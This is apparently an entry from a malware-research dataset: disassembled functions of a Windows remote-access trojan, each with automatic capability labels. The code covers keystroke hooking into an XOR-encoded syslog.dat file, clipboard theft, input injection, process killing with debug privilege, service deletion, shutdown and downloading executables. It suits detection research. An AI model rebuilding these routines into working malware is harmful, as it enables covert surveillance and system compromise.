joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006920
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov esi, ecx
push eax
call fcn.10007eb0
mov eax, dword [esp + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
test eax, eax
mov dword [esi], 0x10014404
je 0x10006949
lea ecx, [esi + 0x10]
push eax
push ecx
call edi
mov eax, dword [esp + 0x18]
test eax, eax
je 0x1000695b
lea edx, [esi + 0x110]
push eax
push edx
call edi
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x1000696b
push eax
push 0x100199a0
call edi
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x14]
push 0
push 0
push 0
push 0x100063d0
push 0
mov dword [0x10017408], eax
push 0
mov dword [esi + 0x9e54], ecx
mov dword [esi + 0x9e50], 0
mov byte [esi + 0x9e58], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
ret 0x18

Function at 0x10006f10
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp]
push str._syslog.dat
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0x104
ret

Function at 0x10006f50
Capabilities:
Delete service
Terminate process

Disassembly:
push ebx
push esi
push edi
call fcn.10006f10
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
add esp, 4
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0x30
mov edi, eax
call esi
add esp, 4
push 0x10000
push 0x10019d10
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push 0x30
mov ebx, eax
call esi
add esp, 4
push ebx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push 0x30
call esi
add esp, 4
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call ebx
push 0x30
call esi
add esp, 4
push edi
call ebx
push 1
push 0
push 3
call fcn.1000c1e0
add esp, 0xc
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 1
call fcn.1000c1e0
add esp, 0xc
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x10007000
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x12c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push edi
push 0x30
mov dword [esp + 0x14], 0
call esi
add esp, 4
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x30
mov edi, eax
call esi
push 0x30
mov dword [esp + 0x1c], 0x128
call esi
add esp, 8
lea eax, [esp + 0x14]
push eax
push edi
call sub.KERNEL32.dll_Process32First
push 0x30
call esi
mov ebx, dword [esp + 0x144]
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
add esp, 4
lea ecx, [esp + 0x38]
push ebx
push ecx
call ebp
test eax, eax
je 0x1000708a
push 0x30
call esi
add esp, 4
lea edx, [esp + 0x14]
push edx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10007090
lea eax, [esp + 0x38]
push ebx
push eax
call ebp
test eax, eax
jne 0x10007068
mov ebx, dword [esp + 0x1c]
jmp 0x10007094
mov ebx, dword [esp + 0x10]
push 0x30
call esi
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x30
call esi
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x12c
ret

Function at 0x10007140
Capabilities:
Enumerate gui resources

Disassembly:
mov edx, dword [esp + 4]
push edi
test edx, edx
je 0x100071c4
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x100071c4
mov ecx, 0x32
mov edi, 0x10019ae0
rep stosd dword es:[edi], eax
mov edi, edx
or ecx, 0xffffffff
mov dword [0x10019ba8], eax
push esi
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, 0x10019ae0
push 0x100070c0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.USER32.dll_EnumWindows]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 0xbb8
mov eax, dword [0x10019ba8]
test eax, eax
jne 0x100071bc
push 0xc8
call edi
sub esi, 0xc8
cmp esi, 1
jg 0x100071a1
mov eax, dword [0x10019ba8]
pop esi
pop edi
ret
xor eax, eax
pop edi
ret

Function at 0x100074b0
Capabilities:
Encode data using xor
Get file size
Write file on windows

Disassembly:
push ecx
mov eax, dword [0x10019bb4]
push ebx
push ebp
push esi
push edi
push 0
push 0x80
push 4
push 0
push 2
add eax, 0xd
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
push 0
push ebx
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x100074fd
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebp, dword [esp + 0x18]
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
test edi, edi
jle 0x1000752b
mov ecx, ebp
mov ebp, edi
sub ecx, esi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec ebp
jne 0x1000751f
lea eax, [esp + 0x10]
push 0
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x10007950
Capabilities:
Read file via mapping

Disassembly:
mov eax, dword [0x10019bc4]
sub esp, 0x28
test eax, eax
jne 0x1000796c
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x10019bc4], eax
push esi
lea ecx, [esp + 0x18]
push edi
mov edi, 0x10014414
lea eax, [esp + 0x1c]
push ecx
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], edi
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0xc
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], 0
call fcn.10007a70
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
mov dword [esp + 0x10], eax
call esi
mov eax, dword [esp + 0x10]
add esp, 4
neg eax
sbb eax, eax
lea edx, [esp + 0x10]
push str.MyCreateMa
push 0x594
and eax, edx
push 0
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 0x30
mov dword [0x10019bb8], eax
call esi
mov eax, dword [0x10019bb8]
add esp, 4
test eax, eax
jne 0x100079fa
mov eax, dword [esp + 0xc]
mov dword [esp + 8], edi
jmp 0x10007a32
push 0x30
call esi
mov eax, dword [0x10019bb8]
add esp, 4
push 0
push 0
push 0
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push 0x30
mov dword [0x10019bb4], eax
call esi
mov eax, dword [0x10019bb4]
add esp, 4
test eax, eax
mov eax, dword [esp + 0xc]
mov dword [esp + 8], edi
jne 0x10007a4e
test eax, eax
je 0x10007a46
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
xor al, al
pop esi
add esp, 0x28
ret
test eax, eax
je 0x10007a62
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
mov al, 1
pop esi
add esp, 0x28
ret
Function at 0x10007bf0
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
call fcn.10007950
test al, al
jne 0x10007bfa
ret
push esi
push edi
mov edi, dword [0x10019bb4]
mov ecx, 0x165
xor eax, eax
rep stosd dword es:[edi], eax
mov byte [0x10019bb0], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x10019bac], eax
mov eax, dword [0x10019bb4]
push 0x104
mov dword [eax + 8], 0
mov ecx, dword [0x10019bb4]
xor eax, eax
mov dword [ecx + 4], 0
mov edx, dword [0x10019bb4]
mov ecx, 0x20
mov dword [edx], 0
mov edx, dword [0x10019bb4]
lea edi, [edx + 0x511]
rep stosd dword es:[edi], eax
mov eax, dword [0x10019bb4]
add eax, 0xd
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov ecx, dword [0x10019bb4]
push str._syslog.dat
add ecx, 0xd
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
mov edx, dword [0x10019bc4]
add esp, 4
push str.SetWindowsHookExA
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x30
mov edi, eax
call esi
mov eax, dword [0x10019bb4]
add esp, 4
add eax, 0xd
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x10007cc8
mov ecx, dword [0x10019bb4]
mov byte [ecx + 0xc], 1
jmp 0x10007cd2
mov edx, dword [0x10019bb4]
mov byte [edx + 0xc], 0
mov eax, dword [0x10019bb4]
mov ecx, dword [eax + 4]
test ecx, ecx
jne 0x10007cf9
mov ecx, dword [0x10019bbc]
push 0
push ecx
push 0x100076e0
push 3
call edi
mov edx, dword [0x10019bb4]
mov dword [edx + 4], eax
pop edi
mov al, 1
pop esi
ret

Function at 0x10007de0
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
sub esp, 0x108
push ebx
push ebp
push edi
lea eax, [esp + 0x10]
xor edi, edi
push 0x104
mov ebp, ecx
push eax
mov dword [esp + 0x14], edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x10]
push str._syslog.dat
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
push 0x80
push 3
push edi
push 1
lea edx, [esp + 0x24]
push closesocket
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10007e9c
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
test edi, edi
jne 0x10007e57
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebp
mov eax, 1
pop ebx
add esp, 0x108
ret
push esi
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
lea eax, [esp + 0x10]
push 0
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
test edi, edi
jbe 0x10007e87
mov cl, byte [eax + esi]
xor cl, 0x62
mov byte [eax + esi], cl
inc eax
cmp eax, edi
jb 0x10007e79
push edi
push esi
mov ecx, ebp
call fcn.10007d80
push esi
mov edi, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop ebp
pop ebx
add esp, 0x108
ret
Function at 0x10007fd0
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x1001368e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
mov eax, dword [esp + 0x54]
push ebx
push ebp
push esi
push edi
mov esi, ecx
push eax
mov dword [esp + 0x14], esi
call fcn.10007eb0
mov dword [esp + 0x5c], 0
mov dword [esi + 0x24], 0x10014434
mov dword [esp + 0x14], 0x7f8a
mov dword [esp + 0x18], 0x7f00
mov dword [esp + 0x1c], 0x7f03
mov dword [esp + 0x20], 0x7f89
mov dword [esp + 0x24], 0x7f8b
mov dword [esp + 0x28], 0x7f01
mov dword [esp + 0x2c], 0x7f81
mov dword [esp + 0x30], 0x7f88
mov dword [esp + 0x34], 0x7f80
mov dword [esp + 0x38], 0x7f86
mov dword [esp + 0x3c], 0x7f83
mov dword [esp + 0x40], 0x7f85
mov dword [esp + 0x44], 0x7f82
mov dword [esp + 0x48], 0x7f84
mov dword [esp + 0x4c], 0x7f04
mov dword [esp + 0x50], 0x7f02
lea ebp, [esp + 0x14]
lea edi, [esi + 0x68]
mov ebx, 0x10
mov eax, dword [ebp]
push eax
push 0
mov dword [edi - 0x40], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [edi], eax
add ebp, 4
add edi, 4
dec ebx
jne 0x10008097
mov ebx, 1
push 0x110
mov byte [esp + 0x60], bl
mov dword [esi], 0x1001442c
mov byte [esi + 0x13], bl
mov dword [esi + 0x18], 8
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [esp + 0x64], eax
test eax, eax
mov byte [esp + 0x5c], 2
je 0x100080f3
push 0x64
push 0
push 8
mov ecx, eax
call fcn.10008cd0
jmp 0x100080f5
xor eax, eax
push ebx
push 0
push 0
push esi
push 0x100087b0
push 0
push 0
mov byte [esp + 0x78], bl
mov dword [esi + 0xa8], eax
mov byte [esi + 0x10], bl
mov byte [esi + 0x12], 0
mov byte [esi + 0x11], 0
mov byte [esi + 0x14], 0
call fcn.1000a720
push ebx
push 0
push 0
push esi
push 0x10008820
push 0
push 0
mov dword [esi + 0x1c], eax
call fcn.1000a720
mov ecx, dword [esp + 0x8c]
add esp, 0x38
mov dword [esi + 0x20], eax
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x50
ret 4
Function at 0x10008980
Capabilities:
Log keystrokes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov eax, esi
xor edx, edx
mov ecx, 0x1c
div ecx
test edx, edx
jne 0x10008b31
call fcn.1000aac0
mov eax, 0x24924925
mul esi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 4
test esi, esi
jle 0x10008b31
mov edx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [sym.imp.USER32.dll_mouse_event]
push edi
lea ebx, [edx + 8]
mov dword [esp + 0x18], esi
mov eax, dword [ebx - 4]
cmp eax, 0x200
jb 0x100089fd
cmp eax, 0x208
ja 0x100089fd
mov edi, dword [ebx + 4]
xor esi, esi
mov si, word [ebx + 4]
shr edi, 0x10
push edi
push esi
call dword [sym.imp.USER32.dll_SetCursorPos]
push edi
push esi
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov eax, dword [ebx - 4]
cmp eax, 0x203
ja 0x10008aad
je 0x10008a95
cmp eax, 0x105
ja 0x10008a69
je 0x10008a4b
sub eax, 0x100
je 0x10008a2d
dec eax
je 0x10008a4b
sub eax, 3
jne case.0x10008ab7.521
mov eax, dword [ebx]
push 0
push 0
push 0
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov cl, byte [ebx]
push eax
push ecx
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x10008ab7.521
mov edx, dword [ebx]
push 0
push 2
push 0
push edx
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
mov al, byte [ebx]
push eax
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x10008ab7.521
sub eax, 0x201
je 0x10008a86
dec eax
jne case.0x10008ab7.521
push 0
push 0
push 0
push 0
push 4
jmp 0x10008b1a
push 0
push 0
push 0
push 0
push 2
jmp 0x10008b1a
push 0
push 0
push 0
push 0
push 6
call ebp
push 0
push 0
push 0
push 0
push 6
jmp 0x10008b1a
add eax, 0xfffffdfc
cmp eax, 6
ja case.0x10008ab7.521
jmp dword [eax*4 + 0x10008b38]
push 0
push 0
push 0
push 0
push 8
jmp 0x10008b1a
push 0
push 0
push 0
push 0
push 0x10
jmp 0x10008b1a
push 0
push 0
push 0
push 0
push 0x18
call ebp
push 0
push 0
push 0
push 0
push 0x18
jmp 0x10008b1a
push 0
push 0
push 0
push 0
push 0x20
jmp 0x10008b1a
push 0
push 0
push 0
push 0
push 0x40
jmp 0x10008b1a
mov ecx, dword [ebx]
push 0
shr ecx, 0x10
movsx edx, cx
push edx
push 0
push 0
push 0x800
call ebp
mov eax, dword [esp + 0x18]
add ebx, 0x1c
dec eax
mov dword [esp + 0x18], eax
jne 0x100089c9
pop edi
pop ebp
pop ebx
pop esi
ret 8

Function at 0x10008b60
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10008bc8
push ebx
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov esi, dword [esp + 0x10]
push esi
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x10008bc0
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, esi
mov esi, dword [esp + 0x10]
mov edi, eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
pop ebx
ret 8
Function at 0x10008bd0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
sub esp, 8
push esi
mov dword [esp + 8], ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10008c62
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
test esi, esi
mov dword [esp + 4], esi
jne 0x10008c01
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
add esp, 8
ret
push ebx
push ebp
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalSize]
mov ebx, eax
push esi
inc ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push ebx
mov esi, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
lea ecx, [ebx - 1]
mov ebp, eax
mov eax, ecx
add esp, 4
lea edi, [ebp + 1]
mov byte [ebp], 0x76
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [esp + 0x14]
push ebx
push ebp
call fcn.10007f30
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop ebp
pop ebx
pop esi
add esp, 8
ret
Function at 0x1000a1c0
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push ecx
push ebx
push esi
push edi
mov edi, ecx
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x14], edi
call fcn.1000a4e0
mov ebx, dword [esp + 0x20]
add esp, 8
xor esi, esi
test ebx, ebx
jbe 0x1000a217
push ebp
mov ebp, dword [esp + 0x18]
mov eax, dword [esi + ebp]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
cmp esi, ebx
jb 0x1000a1e8
mov edi, dword [esp + 0x10]
pop ebp
push 0
push str.SeDebugPrivilege
call fcn.1000a4e0
add esp, 8
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, edi
call fcn.1000a030
mov ecx, edi
call fcn.1000a060
pop edi
pop esi
pop ebx
pop ecx
ret 8
Function at 0x1000a570
Capabilities:
Shutdown system

Disassembly:
push 1
push str.SeShutdownPrivilege
call fcn.1000a4e0
mov eax, dword [esp + 0xc]
add esp, 8
push 0
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push str.SeShutdownPrivilege
call fcn.1000a4e0
add esp, 8
ret

Function at 0x1000a720
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov byte [esp + 0x1c], dl
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x2c]
lea edx, [esp + 4]
push eax
mov eax, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x20]
push edx
push 0x1000a6a0
push eax
push ecx
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov edx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x1000a7a0
Capabilities:
Enumerate processes

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call edi
add esp, 4
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x30
mov ebx, eax
call edi
push 0x128
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
push 0x30
mov dword [esi], 0x128
call edi
add esp, 0xc
push esi
push ebx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1000a828
push 0x30
call edi
mov ebp, dword [esp + 0x18]
lea edi, [esi + 0x24]
push ebp
push edi
call dword [sym.imp.MSVCRT.dll__strcmpi]
add esp, 0xc
test eax, eax
jne 0x1000a806
mov eax, dword [esi + 8]
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x1000a828
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x1000a7fe
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1000a811
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret

Function at 0x1000aa40
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push edi
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x9c
push eax
call esi
test eax, eax
jne 0x1000aa8a
lea ecx, [esp + 8]
mov dword [esp + 8], 0x94
push ecx
call esi
test eax, eax
jne 0x1000aa8a
pop edi
pop esi
add esp, 0x9c
ret
cmp dword [esp + 0xc], 5
jne 0x1000aaa7
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x1000aaa7
call fcn.1000a8c0
pop edi
pop esi
add esp, 0x9c
ret
call fcn.1000a830
pop edi
pop esi
add esp, 0x9c
ret
Function at 0x1000ac50
Capabilities:
Simulate ctrl alt del

Disassembly:
sub esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov esi, eax
mov al, 0x6f
mov byte [esp + 5], al
mov byte [esp + 7], al
lea eax, [esp + 4]
mov cl, 0x6e
push eax
mov byte [esp + 8], cl
mov byte [esp + 0xa], 0x67
mov byte [esp + 0xc], 0x6c
mov byte [esp + 0xd], cl
mov byte [esp + 0xe], 0x69
mov byte [esp + 0xf], 0x57
mov byte [esp + 0x10], 0
call dword [sym.imp.MSVCRT.dll__strrev]
lea ecx, [esp + 8]
push ecx
call fcn.1000ac00
add esp, 8
test eax, eax
jne 0x1000acb1
pop esi
add esp, 0xc
ret
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
test esi, esi
je 0x1000acd5
push esi
call fcn.1000ab90
add esp, 4
mov eax, 1
pop esi
add esp, 0xc
ret

Function at 0x1000ace0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x418
push ebx
push ebp
push esi
push edi
xor ebp, ebp
mov ebx, 1
push str.WININET.dll
mov dword [esp + 0x14], ebp
mov dword [esp + 0x28], ebp
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.InternetOpenA
push esi
call edi
push ebp
push ebp
push ebp
push ebp
push str.Mozilla_4.0__compatible_
call eax
mov ebp, eax
test ebp, ebp
mov dword [esp + 0x20], ebp
jne 0x1000ad3a
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x418
ret
push str.InternetOpenUrlA
push esi
call edi
mov ecx, dword [esp + 0x42c]
push 0
push closesocket
push 0
push 0
push ecx
push ebp
call eax
mov ebp, eax
test ebp, ebp
jne 0x1000ad6b
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x418
ret
push str.InternetReadFile
push esi
call edi
mov edx, dword [esp + 0x430]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edx
mov dword [esp + 0x38], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
je 0x1000ae0b
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x28]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
lea ecx, [esp + 0x28]
push eax
push 0x400
push ecx
push ebp
call dword [esp + 0x2c]
test ebx, ebx
je 0x1000adcb
cmp word [esp + 0x28], 0x5a4d
jne 0x1000adf2
mov eax, dword [esp + 0x10]
xor ebx, ebx
lea edx, [esp + 0x24]
push ebx
push edx
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x30]
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x1000adfa
jmp 0x1000ad9d
mov dword [esp + 0x18], 0
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.InternetCloseHandle
push esi
call edi
mov edi, eax
push ebp
call edi
mov ecx, dword [esp + 0x20]
push ecx
call edi
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x18]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x418
ret
Function at 0x1000bab0
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
sub esp, 0x10
mov eax, 4
mov dword [esp + 4], eax
mov dword [esp + 8], eax
lea eax, [esp]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push getsockname
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea ecx, [esp + 4]
lea edx, [esp + 0xc]
push ecx
mov ecx, dword [esp + 4]
lea eax, [esp + 0xc]
push edx
push eax
push 0
push str.MHz
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0xc]
add esp, 0x10
ret